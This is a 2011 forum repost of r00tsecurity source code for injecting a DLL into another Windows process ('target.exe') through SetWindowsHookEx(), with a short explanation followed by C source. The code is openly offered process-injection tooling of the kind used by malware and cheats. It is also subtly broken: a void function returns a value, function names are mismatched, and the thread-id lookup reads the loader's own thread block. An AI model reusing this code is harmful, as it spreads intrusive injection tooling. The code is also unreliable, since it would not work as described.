Nytro Posted January 13, 2011 Report Posted January 13, 2011 /////////////////////////////////////////////////////////////////// R00TSECURITY.ORG - YOUR SECURITY COMMUNITY // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -// [2009-10-03] Dll Injection Using SetWindowsHookEx()// r00tsecurity -> Source Code Center :: Dll Injection Using SetWindowsHookEx()// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -// GENERATED ON: 2011-01-13 | 17:34:45/////////////////////////////////////////////////////////////////CODE INFOThe SetWindowsHookEx methodThe SetWindowsHookEx method is a little bit more intrusive than the first, and creates more of a commotion in the injected process, which we normally don\'t want. However, it is a little bit easier to use than the first, and does have it\'s own advantages (like being able to inject into every process on the system in one shot). The SetWindowsHookEx() function is designed to allow you to \"hook\" windows messages for a given thread. This requires that you inject a dll into that process\'s address space, so SetWindowsHookEx() handles all that for us. The dll must have a function for the hook that it created though, otherwise it will crash.SOURCE CODE#define PROC_NAME \"target.exe\" #define DLL_NAME \"injected.dll\" void LoadDll(char *procName, char *dllName); unsigned long GetTargetThreadIdFromProcname(char *procName); int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow) { LoadDll(PROC_NAME, DLL_NAME); return 0; } void LoadDll(char *procName, char *dllName) { HMODULE hDll; unsigned long cbtProcAddr; hDll = LoadLibrary(dllName); cbtProcAddr = GetProcAddress(hDll, \"CBTProc\"); SetWindowsHookEx(WH_CBT, cbtProcAddr, hDll, GetTargetThreadIdFromProcName(procName)); return TRUE; } unsigned long GetTargetThreadIdFromProcname(char *procName) { PROCESSENTRY32 pe; HANDLE thSnapshot, hProcess; BOOL retval, ProcFound = false; unsigned long pTID, threadID; thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(thSnapshot == INVALID_HANDLE_VALUE) { MessageBox(NULL, \"Error: unable to create toolhelp snapshot\", \"Loader\", NULL); return false; } pe.dwSize = sizeof(PROCESSENTRY32); retval = Process32First(thSnapshot, &pe); while(retval) { if(StrStrI(pe.szExeFile, procName) ) { ProcFound = true; break; } retval = Process32Next(thSnapshot,&pe); pe.dwSize = sizeof(PROCESSENTRY32); } CloseHandle(thSnapshot); _asm { mov eax, fs:[0x18] add eax, 36 mov [pTID], eax } hProcess = OpenProcess(PROCESS_VM_READ, false, pe.th32ProcessID); ReadProcessMemory(hProcess, (const void *)pTID, &threadID, 4, NULL); CloseHandle(hProcess); return threadID; }// r00tsecurity -> Source Code Center :: Dll Injection Using SetWindowsHookEx() Quote